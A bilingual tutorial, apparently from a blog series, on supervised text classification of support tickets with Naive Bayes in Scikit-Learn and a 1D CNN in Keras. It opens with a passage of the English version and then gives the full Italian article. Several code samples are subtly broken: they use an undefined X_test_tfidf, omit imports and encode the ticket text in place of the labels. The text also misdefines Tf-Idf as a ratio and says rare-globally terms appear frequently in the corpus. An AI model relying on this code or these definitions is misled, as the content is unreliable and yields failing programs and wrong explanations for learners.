The integral code for these examples and also for other examples with others among the algorithms mentioned, are present on the repository Github related to this series of articles. In the repository you will find the source code of the examples described and executable in well documented jupyter notebooks.

1. Textual classification with Bayesian Classifier

In our case we will use a Bayesian Classifier in the so-called "naive" version (Naïve Bayes Classifier). It is a simplified Bayesian Classifier with an underlying probability model making the hypothesis of independence of characteristics, i.e. it assumes that the presence or absence of a particular attribute in a textual document is unrelated to the presence or absence of other attributes

To train the model we will use the Scikit-Learn library.

Let's assume that we have our tickets already preprocessed through the techniques already seen in the previous sections in a csv file. Moreover for each textual content we know the category expressed through a numerical identifier.

The first step we must take is to read the data and create the training set for the training on the one hand, on the other the test set for validation.

To do this we first import the contents of the csv into a Pandas dataframe. We then extract the text and labels and build two special lists.

import pandas as pd

df_tickets = pd.read_csv('input/all_tickets.csv')


text_list = df_tickets['body'].tolist()
labels_list = df_tickets['category'].tolist()

Source Code 2 - Reading data

Now we are going to transform the list of textual contents into a representation of the Tf-Idf type. To do this we use functions defined by the library. Once that's done, let's split the whole thing together into training and test sets.

from sklearn.feature_extraction.text import CountVectorizer
from sklearn.feature_extraction.text import TfidfTransformer
from sklearn.model_selection import train_test_split

X_train, X_test, y_train, y_test = train_test_split(text_list, labels_list, test_size=0.1, random_state=0)

count_vect = CountVectorizer()
vectorized_data = count_vect.fit_transform(X_train)

tfidf = TfidfTransformer()
X_train = tfidf.fit_transform(vectorized_data)

Source Code 3 - Text transformation and split

At this point we move on to the actual training and then to the evaluation of the performances obtained by calculating through predefined functions the accuracy achieved and the confusion matrix relating to the test set.

from sklearn.naive_bayes import MultinomialNB
from sklearn.metrics import f1_score, accuracy_score, classification_report

mnb = MultinomialNB()
mnb.fit(X_train, y_train)

pred = mnb.predict(X_test_tfidf)

#print(f1_score(y_test, pred))
print(accuracy_score(y_test, pred))
#print(precision_score(y_test, pred))
confusion_matrix(y_test, pred)

Source Code 2 - Model trainingn and validation

The model at this point can be saved in pickle format and then used for your own purposes. The model takes in I input a Tf-Idf representation and not the natural text, so before giving the textual input content to the model, it must always be converted into the chosen representation (in this case Tf-Idf).

Scikit-learn provides a tool that simplifies these aspects and actually allows you to define an end-to-end model, i.e. a model that takes the text directly as input and outputs the desired classification. This happens through the class sklearn.pipeline.Pipeline, through which it is possible to define in a single object the list of all the transformations and actions to be performed. The previous code will be partially replicated by the following code.

from sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer
from sklearn.naive_bayes import MultinomialNB
from sklearn.pipeline import Pipeline

text_clf = Pipeline([
        ('vect', count_vect),
        ('tfidf', TfidfTransformer()),
        ('clf', MultinomialNB())
    ])

Source Code 2 - Pipeline end-to-end Scikit Learn

Another very useful function to mention, defined by the class sklearn.model_selection.GridSearchCV, is the Grid Search to perform parameter optimization quickly and easily.

Both the concept of Pipeline and Grid Search are explored and used in the code present on the Github repository.

2. Textual classification with convolutional neural networks

Another algorithm very suitable for carrying out textual classification tasks is that of convolutional neural networks, in particular networks with 1-dimensional convolutional layers, which carry out temporal convolution operations, while the 2-dimensional convolutional layers adapt more to image processing and analysis. For further information on the differences: https://missinglink.ai/guides/keras/keras-conv1d-working-1d-convolutional-neural-networks-keras/.

Now let's see how to train a model for the classification of tickets through algorithms of this type. We do this using Tensorflow Keras as a support library. We always assume that our pre-processed and "cleaned" tickets are available in a csv file.

Comer for the approach with the Bayesian Classifier, first we import the contents of the csv in a Pandas dataframe. We then extract the text and labels and build two special lists.

import pandas as pd

df_tickets = pd.read_csv('input/all_tickets.csv')


text_list = df_tickets['body'].tolist()
labels_list = df_tickets['category'].tolist()

Source Code 6 - Reading the data

Now let's move on to the data transformation activity, and in this case we use a transformation of type text to sequence of numbers. Every textual content is transformed into a sequence of integers, where each whole map a term in a dedicated vocabulary. To do this we use a utility defined by Keras with the class tf.keras.preprocessing.text.Tokenizer. Once the data has been transformed, the split into train and test set is done and then the sequences are padded to a maximum length defined by analyzing the dataset a priori. Labels are also transformed through a LabelEncoder, although for this dataset the labels are already defined as integers. This step it is essential when the labels are not integers.

from tensorflow.keras.preprocessing.text import Tokenizer

tokenizer = Tokenizer(split=' ')
tokenizer.fit_on_texts(text_list)
X = tokenizer.texts_to_sequences(text_list)

values = np.array(text_list)
# integer encode
label_encoder = LabelEncoder()
label_encoder.fit(values)
Y = label_encoder.transform(text_list)

X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.1, random_state=42)

# padding sequences to maxlen
print('Pad sequences (samples x time)')
X_train = sequence.pad_sequences(X_train, maxlen=maxlen)
X_test = sequence.pad_sequences(X_test, maxlen=maxlen)
print('x_train shape:', X_train.shape)
print('x_test shape:', X_test.shape)

Source Code 7 - Data transformation

At this point follows the definition of the model architecture, the definition of the hyperparameters and the actual training. Training is controlled by an Early Stopping approach to prevent any Overfitting phenomena.

from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Dropout, Activation
from tensorflow.keras.layers import Embedding
from tensorflow.keras.layers import GlobalAveragePooling1D, Conv1D, GlobalMaxPooling1D
from tensorflow.keras.callbacks import EarlyStopping

batch_size = 32 # batch size
epochs = 100 # number of epochs
filters = 100
kernel_size = 1
hidden_dims = 100
embedding_dim = 100

print('Build model...')
model = Sequential()

# we start off with an efficient embedding layer which maps
# our vocab indices into embedding_dims dimensions
if use_pretrained_embeddings: 
    model.add(Embedding(max_features+1,
                        embedding_dim,
                        input_length=maxlen
                        , weights = [embedding_matrix], trainable = True))
    print("using pretrained embeddings")
else:
    model.add(Embedding(max_features+1,
                        embedding_dim,
                        input_length=maxlen))
    print("using embeddings from scratch")
model.add(Dropout(0.2))

# we add a Convolution1D, which will learn filters
# word group filters of size filter_length:
model.add(Conv1D(filters,
                 kernel_size,
                 padding='valid',
                 activation='relu',
                 strides=1))

# we use max pooling:
model.add(GlobalMaxPooling1D())

# We add a vanilla hidden layer:
model.add(Dense(hidden_dims))
model.add(Dropout(0.2))
model.add(Activation('relu'))

# We project onto a single unit output layer, and squash it with a softmax:
model.add(Dense(n_outputs))
model.add(Activation('softmax'))

model.compile(loss='sparse_categorical_crossentropy',
              optimizer='adam',
              metrics=['accuracy'])

callback = EarlyStopping(monitor='val_loss', min_delta=0, patience=5, verbose=0, mode='auto',
    baseline=None, restore_best_weights=False)

history = model.fit(np.array(X_train), np.array(Y_train),
              batch_size=batch_size,
              epochs=epochs,
            validation_split=0.1, callbacks = [callback])

Source Code 8 - Model training and evaluation

The model can also be saved in this case and reused where necessary. And just as with Scikit Learn it is possible implement an end-to-end approach to avoid having to carry out transformations on the input every time. One possible strategy is present on the documentation by Tensorflow Keras.

For further information see the associated notebook on the Github repository.

3. Evaluations and comparisons

Which of the two approaches is the best? Which achieves the best level of accuracy?

There are several metrics and evaluation approaches that can be used to clarify this. In the case of textual classification, and more generally in the classification approaches, Accuracy, Precision, Recall, F1-score are fundamental metrics to calculate and analyze. Another always very useful tool is the confusion matrix, which allows you to visualize false positives and negatives.

Let's see the results of the training through the classification reports produced in the evaluation phase. These reports show precision, recall, accuracy, and other metrics in a single table, with focus on both classes and overall performance.

Figura 7 - Report Bayesian classifier

Figura 8 - Report CNN

For this task the two classifiers have very similar performances as we can see. Preform the slightly better Bayesian classifier. But it's not always like this.

Convolutional neural networks, for example, prove to be very powerful when the classification depends on very identifying features. To example let's imagine we want to classify business documents with respect to the customer. Information such as the customer's name rather than VAT number they are very useful information to understand which customer the document refers to. In cases like these, neural networks achieve results of very high accuracy.
The Bayesian Classifiers, on the other hand, prove to be very accurate in the vast majority of cases. Even if they don't always reach the levels of accuracy of convolutional neural networks, their strength is to return very significant confidence values associated with the classification, and with well-defined thresholds. This happens because the Bayesian Classifier is a probabilistic model.

Neural networks also return a confidence value associated with the classification, which, however, cannot be considered entirely a value probabilistic, as it is the highlight of the application of a Softmax to the output layer of the network. So in fact it should be considered as a transposition in the space of probabilities of the result produced by the network. For these reasons, the confidence value must be interpreted differently and not always manages to express the desired differences.

Conclusions

Summarizing the textual classification allows us to catalog our textual contents with respect to characteristics of different types. The ability to group textual content in an automatic and intelligent way can represent a considerable added value for a company for example. Think of a management software that allows the filing of corporate documents of various kinds in separate spaces; through an instrument text classification based on Machine Learning, you can automatically catalog the document in correct space, based on customer rather than type. Another example can be a support system for CSS. Similarly to what has been done in the examples seen, they can be classified automatically incoming tickets based on category or urgency to help in the task of assigning tickets to the relevant departments.

So what are you waiting for? Take advantage of the potential offered by Machine Learning to automatically classify and extract information from the text in order to make your application smarter. Have fun with the notebooks on the Github repository to test the algorithms seen in the examples and also other algorithms such as Support Vector Machines or LSTM networks.
Then reuse these algorithms to build your own text classification models to use in support of your application.

In this article, only some of the most relevant topics regarding textual classification have been cited. Kamran Kowsari studied all the aspects related to this task through a very complete paper, explaining in an excellent way advantages and disadvantages. This is a treatment that touches on many aspects that concern not only the task of textual classification, but in general the whole world of Natural Language Processing. If you are into NLP you can't miss it.

Referenced Paper: Kowsari, K., Meimandi, K. J., Heidarysafa, M., Mendu, S., Barnes, L. E., & Brown, D. E. (2019). Text Classification Algorithms: A Survey.

Medium Article: Text Classification Algorithms: A Survey.

Classificazione Testuale attraverso il Machine Learning

Mon, 21 Dec 2020 00:00:00 GMT

Questo articolo fa parte della serie dedicata ai più rilevanti task di Natural Language Processing. Approfondisci anche gli altri partendo dal primo articolo.

Inoltre per un'introduzione sugli aspetti di base in ambito Machine Learning leggere l'articolo Machine learning e applicazioni per l'industria.

Classificazione Testuale

In questo articolo viene trattato il task della classificazione testuale.

Con classificazione testuale si fa riferimento, appunto, all'utilizzo di approcci di classificazione di tipo supervisionato, con l'obiettivo di associare contenuti testuali a caratteristiche e classi definite a priori.
Esempi di classificazione testuale sono:

Sentiment Analysis: classificare ad esempio recensioni rispetto al sentiment(negativo e positivo)
Ticket Classification: associare ticket di supporto alla categoria di riferimento, piuttosto che alla classe di urgenza
Document Classification e Tagging: classificare contenuti testuali associandoli a una o più classi

Queste sono solo alcune delle possibili applicazioni realizzabili tramite la classificazione testuale. Rientrano di fatto in questo campo tutte le applicazioni che consistono nel classificare e associare contenuti testuali rispetto a un insieme di etichette o classi definito a priori.

Figura 1 - Classificazione binaria: Sentiment Analysis

In relazione agli esempi elencati possiamo raccogliere i task di classificazione testuale in tre diverse tipologie:

Classificazione binaria: il numero di classi/etichette a cui vengono associati i contenuti è uguale a due
Classicazione multiclasse: il numero di classi/etichette a cui vengono associati i contenuti è uguale a n, con n > 2
Classicazione multiclasse multilabel: classificazione di tipo multiclasse dove ogni contenuto può essere associato a più di una classe, e quindi avere più di un'etichetta

Figura 2 - Classificazione multiclasse: Diagnosi mediche

Per affrontare un task di classificazione testuale, a prescindere dalla tipologia di classificazione, è necessario svolgere tendenzialmente questi tre passi:

etichettare i dati: costruire un training set di contenuti testuali etichettati con caratteristiche rispetto alle quali si vuole svolgere la classificazione
trasformare e elaborare il testo: i contenuti testuali necessitano sia di una fase di preprocessing, necessaria per porre il contenuto testuale in una forma più adatta al task da svolgere, sia di una fase di trasformazione dei contenuti per renderli leggibili e analizzabili dagli algoritmi di machine learning utilizzati
addestramento del modello: la fase vera e propria dell'addestramento del modello, tramite un qualche algoritmo di riferimento

Vediamo nelle sezioni successive come realizare tutto ciò.

Etichettatura dei dati

La fase di etichettatura dei dati risulta fondamentale per poter addestrare un modello di Machine Learning per la classificazione testuale. Essendo un approccio di tipo supervisionato, senza dati etichettati non si può realizzare nulla in tal senso.

Può capitare che si voglia realizzare applicazioni per le quali si è già in possesso di dati etichettati. Questo perchè si possiede già uno storico di dati etichettati grazie al lavoro svolto in passato dagli utenti, piuttosto che dagli addetti al task.
Pensiamo al task di Ticket Classification.
Se l'obiettivo è realizzare un modello di Machine Learning in grado di classificare ticket di supporto rispetto alla loro categoria, devo avere a disposizione un dataset di ticket passati, etichettati con le rispettive categorie.
Potrei reperire facilmente questi dati utilizzando tutti i ticket passati che gli addetti hanno già associato alle relative categorie quando hanno svolto questo lavoro "a mano" per indirizzare il ticket al reparto o alla persona di competenza. In un contesto di questo tipo mi basta reperire i dati e porli in una forma leggibile ed utilizzabile per l'addestramento. Tipicamente un file csv.

Qualora non si abbiano a disposizione dati etichettati, e quindi si sia in possesso solo dei contenuti testuali da utilizzare per l'addestramento, allora si può far ricorso ad annotatori testuali per etichettare in maniera agile ed efficiente i dati.
Doccano, ad esemnpio, è un'annotatore ben strutturato e open source.
Un altro annotatore, questo a pagamento, è Prodigy. Si tratta di un annotatore avanzato e potenziato attraverso il concetto di active learning; è sviluppato da Explosion.ai, creatori della libreria opensource di NLP Spacy.

Una volta annotati i dati possono essere facilmente esportati in formato csv per poi essere letti e manipolati attraverso librerie ad hoc come Pandas.

Preprocessing e trasformazione dei dati

1. Preprocessing e pulizia del testo

L'attività di trasformazione e preprocessing dei dati è molto importante in qualsiasi task di Machine Learning, ma nel contesto della classicazione testuale e più in generale dell'elaborazione del linguaggio naturale è molto rilevante.

Un contenuto testuale generalmente contiene molta informazione al suo interno, e non tutta quest'informazione è rilevante ai fini della classificazione da svolgere.
Gran parte del contenuto testuale molto spesso non ha alcuna rilevanza nel risultato prodotto; in alcune occasioni può rappresentare invece rumore che va a distorcere la classificazione prodotta dal modello.
Ad esempio nel contesto della Sentiment Analysis, in una recensione, posso trovare aggettivi come ottimo piuttosto che pessimo che hanno un peso specifico nell'individuazione del sentiment del contenuto. Altri termini invece non dicono nulla in tal senso.

Inoltre nel linguaggio naturale un concetto può essere espresso con termini che hanno stessa radice ma declinazione differente. Quei termini rappresentano lo stesso concetto, ma avendo una declinazione differente il modello di Machine Learning potrebbe fare difficoltà a comprendere che si tratta di un concetto similare a quanto già visto.
E anche la punteggiatura, molto spesso introduce solo rumore nell'analisi del testo.

Per tutti questi motivi è molto importante svolgere delle attività di preprocessing del testo in modo da minimizzare il più possibile tutti gli effetti non desiderati causati da informazione non rilevante presente nel testo.

Queste attività possono essere di diverso tipo e legate profondamente al task che si sta svolgendo. Esistono comunque delle attività di preprocessing che vengono svolte quasi sempre quando si approccia a task di nlp.

Una prima attività molto semplice è quella di tokenizzazione del testo.
A seguire possono essere svolte le seguenti azioni:

Rimuovere le stopwords: eliminare dal testo tutte quelle parti del discorso che nell'ambito di un linguaggio non rappresentano solitamente informazione rilevante, come gli articoli, le proposizioni, le congiunzioni, ecc... Inoltre quest'attività può essere svolta facendo stopping sulla base di una propria lista di parole da rimuovere, realizzata in base al contesto e al tipo di dominio su cui si sta lavorando.
Rimuovere la punteggiatura: la punteggiatura quasi mai rappresenta informazione rilevante e quindi è meglio rimuoverla

Figura 3 - Rimozione stopwords e punteggiatura

Stemming: lo stemming è un processo molto comune nei motori di ricerca che consiste nel ridurre un termine dalla forma flessa alla sua radice, con l'obiettivo di minimizzare l'effetto della presenza di variazioni morfologiche differenti che hanno però lo stesso significato semantico. Esistono due approcci per fare stemming. Un primo basato su dizionario, similmente a quanto avviene per l'attività di rimozione delle stopwords. Un secondo di tipo algoritmico basato su regole, ad esempio lo Stemmer di Porter.
Lowercasing: trasformare tutto il testo in carattere minuscolo in modo da evitare differenziazioni in base al carattere

Figura 4 - Stemming e lowercasing

Le librarie di NLP come Nltk o Spacy offrono funzionalità già definite per svolgere queste attività.
Vediamo ad esempio come svolgere queste attività attraverso Nltk.

from nltk.corpus import stopwords  
from nltk.tokenize import word_tokenize
from nltk.stem import PorterStemmer 
  
example_sent = """This is a sample sentence, 
                  showing off the stop words filtration."""

# stopwords list 
stop_words = set(stopwords.words('english'))

# stemmer
ps = PorterStemmer() 

# tokenization
word_tokens = word_tokenize(example_sent)  

# stoppping
filtered_sentence = [w for w in word_tokens if not w in stop_words]  

# stemming
stemmed_sentence = [ps.stem(w) for w in filtered_sentence]
  
print(word_tokens)  
print(filtered_sentence)
print(stemmed_sentence)

Source Code 1 - Preprocessing del testo

2. Trasformazione del testo

Una volta terminate le attività di preprocessing sul testo, segue un passo importante che è quello della trasformazione dei contenuti in una forma tale da poter essere data in input agli algoritmi di Machine Learning.
Gli algoritmi non sono in grado di analizzare direttamente le parole testuali, e quindi va svolta un'attività di trasformazione in una rappresentazione numerica e/o vettoriale.

Esistono diversi metodi per rappresentare i contenuti testuali. Ognuna di queste rappresentazioni utilizza il concetto di vocabolario. Vediamo quali sono e come funzionano.

Bag of Words

Il modello Bag of Words consiste in una rappresentazione vettoriale dove ogni contenuto testuale viene trasformato in un vettore V-dimensionale, con V che rappresenta la cardinalità del vocabolario. In particolare avremo che ogni componente del vettore assumerà valor uguale a zero, qualora il termine non è presente, altrimenti un valore corrispondente al numero di occorrenze di quel termine nel testo.

Figura 5 - Bag of Words

Tf-idf

Tf-Idf sta per Term Frequency/Inverted Document Frequency. Si tratta di una rappresentazione vettoriale similare a quella del metodo Bag of Words, ma per i termini presenti nel testo, piuttosto che il numero di occorrenze, viene utilizzato questo valore Tf-Idf definito come il rapporto tra la Term Frequency e la Inverse Document Frequency. La Term Frequency è la frequenza del termine all'interno del documento. La Inverse Document Frequency è una misura di quanto il termine occorre all'interno dell'intero corpus(in quanti documenti essenzialmente). Rispetto al modello Bag of Words questa rappresentazione quindi enfatizza i termini "rilevanti" come quelli che:

appaiono frequentemente in un documento ("common locally")
appaiono frequentemente nel corpus ("rare globally") Questa rappresentazione, date queste caratteristiche, è quindi sempre preferita a quella Bag of Words, più semplice e quindi meno carica di significato.

Figura 6 - Tf-Idf

Text to sequence of numbers

Un'ultima rappresentazione, utilizzata principalmente nel contesto delle reti neurali, è quella che prevede di trasformare ogni contenuto testuale in una sequenza di interi, dove ogni intero mappa un token specifico all'interno di un apposito vocabolario. Questa rappresentazione è molto spesso utilizzata insieme all'utilizzo di Word Embedding.

Figura 7 - Text to sequence

La rappresentazione scelta dipende molto spesso dall'algoritmo utlizzato e dal tipo di task che si va ad affrontare. Nella stragrande maggioranza dei casi l'appropccio è quello di utilizzare un modello Tf-Idf con algoritmi "classici", e una rappresentazione Text to Sequence con approcci di Deep Learning. Nella prossima sezione vedremo l'applicazione e l'utilizzo di queste trasformazioni nel contesto del training vero e proprio di modelli per la classificazione testuale.

Training di modelli

Abbiamo visto quali sono le best practice che riguardano l'elaborazione e la trasformazione del testo. Ora vediamo come addestrare i nostri modelli. Sono presenti allo stato dell'arte vari algoritmi che a seconda del contesto dimostrano di essere molto adatti per il task della classificazione testuale. Tra gli approcci classici troviamo Classicatori Bayesiani, Support Vector Machine, Logistic Regression. Tra gli approcci di tipi Deep Learning invece sono molto efficaci le reti di tipo convolutivo, ma in alcuni casi anche le reti di tipo ricorrente.

Seguono due esempi di addestramento di modelli in grado di classificare ticket di supporto rispetto alla propria categoria, utilizzando prima un Classificatore Bayesiano e poi una Rete Neurale Convolutiva.

Il codice integrale per questi esempi e anche per altri esempi con altri tra gli algoritmi citati, sono presenti sul repository Github relativo a questa serie di articoli. Nel repository troverai il codice sorgente degli esempi descritto ed eseguibile in jupyter notebook ben documentati.

1. Classificazione testuale con Classificatore Bayesiano

Nel nostro caso utilizzeremo un Classificatore Bayesiano nella versione cosiddetta "ingenua" (Naïve Bayes Classifier). Si tratta di un Classificatore Bayesiano semplificato con un modello di probabilità sottostante che fa l'ipotesi di indipendenza delle caratteristiche, cioè assume che la presenza o l'assenza di un particolare attributo in un documento testuale non è correlata alla presenza o assenza di altri attributi

Per addestrare il modello utilizzeremo la libreria Scikit-Learn.

Ipotizziamo di avere a disposizione in un file csv i nostri ticket già preprocessati attraverso le tecniche già viste nelle sezioni precedenti. Inoltre per ogni contenuto testuale conosciamo la categoria espressa tramite un'identificativo numerico.

Il primo passo che dobbiamo svolgere è quello di leggere i dati e creare da una parte il training set per l'addestramento, dall'altra il test set per la validazione.

Per fare ciò per prima cosa importiamo il contenuto del csv in un Pandas dataframe. Successivamente estraiamo il testo e le etichette e costruiamo due liste apposite.

import pandas as pd

df_tickets = pd.read_csv('input/all_tickets.csv')


text_list = df_tickets['body'].tolist()
labels_list = df_tickets['category'].tolist()

Source Code 2 - Lettura dei dati

Ora andiamo a trasformare la lista dei contenuti testuali in una rappresentazione di tipo Tf-Idf. Per fare ciò ci avvaliamo di funzioni definite dalla libreria. Una volta fatto ciò, splittiamo l'intero insieme in training e test set.

from sklearn.feature_extraction.text import CountVectorizer
from sklearn.feature_extraction.text import TfidfTransformer
from sklearn.model_selection import train_test_split

X_train, X_test, y_train, y_test = train_test_split(text_list, labels_list, test_size=0.1, random_state=0)

count_vect = CountVectorizer()
vectorized_data = count_vect.fit_transform(X_train)

tfidf = TfidfTransformer()
X_train = tfidf.fit_transform(vectorized_data)

Source Code 3 - Trasformazione e split dei dati

A questo punto passiamo all'addestramento vero e proprio e successivamente alla valutazione delle prestazioni ottenute calcolando attraverso funzioni predefinite l'accuratezza raggiunta e la matrice di confusione relativa al test set.

from sklearn.naive_bayes import MultinomialNB
from sklearn.metrics import f1_score, accuracy_score, classification_report

mnb = MultinomialNB()
mnb.fit(X_train, y_train)

pred = mnb.predict(X_test_tfidf)

#print(f1_score(y_test, pred))
print(accuracy_score(y_test, pred))
#print(precision_score(y_test, pred))
confusion_matrix(y_test, pred)

Source Code 4 - Traning e validazione

Il modello a questo punto può essere salvato in formato pickle per poi essere utilizzato per i propri scopi. Il modello prende in input una rappresentazione Tf-Idf e non il testo naturale, quindi prima di dare il contenuto testuale in input al modello, bisogna sempre convertirlo nella rappresentazione scelta(in questo caso Tf-Idf).

Scikit-learn mette a disposizione uno strumento che semplifica questi aspetti e permette di fatto di definire un modello end-to-end, cioè un modello che prende direttamente in input il testo e restituisce in output la classificazione desiderata. Questo avviene attraverso la classe sklearn.pipeline.Pipeline, attraverso la quale è possibile definire in un unico oggetto la lista di tutte le trasformazioni e azioni da svolgere. Il codice precedente sarà in parte replicato dal codice che segue.

from sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer
from sklearn.naive_bayes import MultinomialNB
from sklearn.pipeline import Pipeline

text_clf = Pipeline([
        ('vect', count_vect),
        ('tfidf', TfidfTransformer()),
        ('clf', MultinomialNB())
    ])

Source Code 5 - Pipeline end-to-end Scikit Learn

Un'altra funzione molto utile da segnalare, definita dalla classe sklearn.model_selection.GridSearchCV, è la Grid Search per svolgere l'ottimizzazione dei parametri in modo rapido e semplice.

Sia il concetto di Pipeline che di Grid Search sono approfonditi e utilizzati nel codice presente sul repository Github.

2. Classificazione testuale con Reti Neurali convolutive

Un altro algoritmo molto adatto a svolgere task di classificazione testuale è quello delle reti neurali convolutive, in particolare le reti con layer convolutivi a 1 dimensione, che svolgono cioè delle operazioni di convoluzione temporale, mentre i layer convolutivi a 2 dimensioni si adattano maggiormente all'elaborazione e l'analisi delle immagini. Per approfondimenti sulle differenze: https://missinglink.ai/guides/keras/keras-conv1d-working-1d-convolutional-neural-networks-keras/.

Vediamo ora come addestrare un modello per la classificazione dei ticket attraverso algoritmi di questo tipo. Lo facciamo utilizzando come libreria di supporto Tensorflow Keras. Ipotizziamo sempre di avere a disposizione in un file csv i nostri ticket già preprocessati e "puliti".

Comer per l'approccio con il Classificatore Bayesiano, per prima cosa importiamo il contenuto del csv in un Pandas dataframe. Successivamente estraiamo il testo e le etichette e costruiamo due liste apposite.

import pandas as pd

df_tickets = pd.read_csv('input/all_tickets.csv')


text_list = df_tickets['body'].tolist()
labels_list = df_tickets['category'].tolist()

Source Code 6 - Lettura dei dati

Ora passiamo all'attività di trasformazione dei dati, e in questo caso utilizziamo un trasformazione di tipo text to sequence of numbers. Ogni contenuto testuale viene trasformato in una sequenza di interi, dove ogni intero mappa un termine in un vocabolario apposito. Per fare ciò utilizziamo un utility definita da Keras con la classe tf.keras.preprocessing.text.Tokenizer. Trasformati i dati, viene fatto lo split in train e test set e poi il padding delle sequenze ad una lunghezza massima definita analizzando il dataset a priori. Vengono anche trasformate le etichette attraverso un LabelEncoder, anche se per questo dataset le etichette già sono definite come interi. Questo passo è fondamentale quando le etichette non sono degli interi.

from tensorflow.keras.preprocessing.text import Tokenizer

tokenizer = Tokenizer(split=' ')
tokenizer.fit_on_texts(text_list)
X = tokenizer.texts_to_sequences(text_list)

values = np.array(text_list)
# integer encode
label_encoder = LabelEncoder()
label_encoder.fit(values)
Y = label_encoder.transform(text_list)

X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.1, random_state=42)

# padding sequences to maxlen
print('Pad sequences (samples x time)')
X_train = sequence.pad_sequences(X_train, maxlen=maxlen)
X_test = sequence.pad_sequences(X_test, maxlen=maxlen)
print('x_train shape:', X_train.shape)
print('x_test shape:', X_test.shape)

Source Code 7 - Traformazione dei dati

Segue a questo punto la definizione dell'architettura del modello, la definizione degli iperparametri e l'addestramento vero e proprio. L'addestramento è controllato da un'approccio di tipo Early Stopping per prevenire eventuali fenomeni di Overfitting

from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Dropout, Activation
from tensorflow.keras.layers import Embedding
from tensorflow.keras.layers import GlobalAveragePooling1D, Conv1D, GlobalMaxPooling1D
from tensorflow.keras.callbacks import EarlyStopping

batch_size = 32 # batch size
epochs = 100 # number of epochs
filters = 100
kernel_size = 1
hidden_dims = 100
embedding_dim = 100

print('Build model...')
model = Sequential()

# we start off with an efficient embedding layer which maps
# our vocab indices into embedding_dims dimensions
if use_pretrained_embeddings: 
    model.add(Embedding(max_features+1,
                        embedding_dim,
                        input_length=maxlen
                        , weights = [embedding_matrix], trainable = True))
    print("using pretrained embeddings")
else:
    model.add(Embedding(max_features+1,
                        embedding_dim,
                        input_length=maxlen))
    print("using embeddings from scratch")
model.add(Dropout(0.2))

# we add a Convolution1D, which will learn filters
# word group filters of size filter_length:
model.add(Conv1D(filters,
                 kernel_size,
                 padding='valid',
                 activation='relu',
                 strides=1))

# we use max pooling:
model.add(GlobalMaxPooling1D())

# We add a vanilla hidden layer:
model.add(Dense(hidden_dims))
model.add(Dropout(0.2))
model.add(Activation('relu'))

# We project onto a single unit output layer, and squash it with a softmax:
model.add(Dense(n_outputs))
model.add(Activation('softmax'))

model.compile(loss='sparse_categorical_crossentropy',
              optimizer='adam',
              metrics=['accuracy'])

callback = EarlyStopping(monitor='val_loss', min_delta=0, patience=5, verbose=0, mode='auto',
    baseline=None, restore_best_weights=False)

history = model.fit(np.array(X_train), np.array(Y_train),
              batch_size=batch_size,
              epochs=epochs,
            validation_split=0.1, callbacks = [callback])

Source Code 8 - Training del modello

Il modello può essere anche in questo caso salvato e riutilizzato dove necessario. E cosi come con Scikit Learn è possibile realizzare un approccio di tipo end-to-end per evitare di dover ogni volta svolgere trasformazioni sull'input. Una strategia possibile è presente sulla documentazione di Tensorflow Keras.

Per approfondimenti vedi il notebook associato sul repository Github.

3. Valutazioni e confronti

Quale dei due approcci è il migliore? Quale raggiunge il miglior livello di accuratezza?

Sono diverse le metriche e gli approcci di valutazione utilizzabili per fare chiarezza in tal senso. Nel caso della classificazione testuale, e più in generale degli approcci di classificazione, Accuratezza, Precision, Recall, F1-score sono metriche fondamentali da calcolare e analizzare. Un altro strumento sempre molto utile è la matrice di confusione, che permette di visualizzare falsi positivi e negativi.

Vediamo i risultati degli addestramenti attraverso dei report di classificazione prodotti in fase di valutazione. Questi report mostrano valori di precision, recall, accuratezza e altre metriche in un unica tabella, con il focus sia sulle diverse classi che sulle prestazioni globali.

Figura 7 - Report Classificatore Bayesiano

Figura 8 - Report CNN

Per questo task i due classificatori hanno delle prestazioni molto simili come possiamo osservare. Performa leggermente meglio il Classificatore Bayesiano. Ma non sempre è cosi.

Le reti neurali convolutive si dimostrano ad esempio molto potenti quando la classificazione dipende da feature molto identificative. Ad esempio immaginiamo di voler classificare documenti aziendali rispetto al cliente. Le informazioni come il nome piuttosto che la partita iva del cliente sono delle informazioni molto utili per capire a che cliente fa riferimento il documento. In casi come queste le reti neurali raggiungo dei risultati di accuratezza molto alti.
I Classificatori Bayesiani invece si dimostrano molto accurati nella stragrande maggioranza dei casi. Anche se non sempre raggiungono i livelli di accuratezza delle reti neurali convolutive, hanno come punto di forza quello di restituire valori di confidenza associati alla classificazioni prodotte molto significativi, e con soglie ben definite. Questo accade poichè a tutti gli effetti il Classificatore Bayesiano è un modello probabilistico.

Le reti neurali, restituiscono anch'esse un valore di confidenza associato alla classificazione, che però non può essere considerato del tutto un valore probabilistico, poichè esso è il risutalto dell'applicazione di una Softmax allo strato di ouput della rete. Quindi di fatto va considerata come una trasposizione nello spazio delle probabilità del risultato prodotto dalla rete. Per questi motivi il valore di confidenza va interpretato in modo differente e non sempre riesce ad esprimere le differenze auspicate.

Conclusioni

Ricapitolando la classificazione testuale ci permette di catalagora i nostri contenuti testuali rispetto a caratteristiche di diverso tipo. La capacità di raggruppare contenuti testuali in modo automatico e intelligente può rappresentare un valore aggiunto non indifferente per un'azienda ad esempio. Pensate ad un software gestionale che permette l'archiviazione in spazi separati di documenti aziendali di vario genere; attraverso uno strumento di classificazione testuale basato su Machine Learning si può catalogare in modo automatico il documento nello spazio corretto in base al cliente piuttosto che la tipologia. Un'altro esempio può essere un sistema di supporto per il CSS. Similmente a quanto fatto negli esempi visti, si possono classificare in modo automatico i ticket in arrivo in base alla categoria o l'urgenza per aiutare nel task di assegnazione dei ticket ai reparti addetti.

Cosa aspetti quindi? Sfrutta le potenzialità offerte dal Machine Learning per classificare e estrarre in modo automatico informazione dal testo in modo da rendere più intelligente la tua applicazione. Divertiti con i notebook presenti sul repository Github a testare gli algoritmi visti negli esempi e anche altri algoritmi come le Support Vector Machine o le reti LSTM.
Successivamente riutilizza questi algoritmi per realizzare i tuoi modelli di classificazione testuale da utilizzare a supporto della tua applicazione.

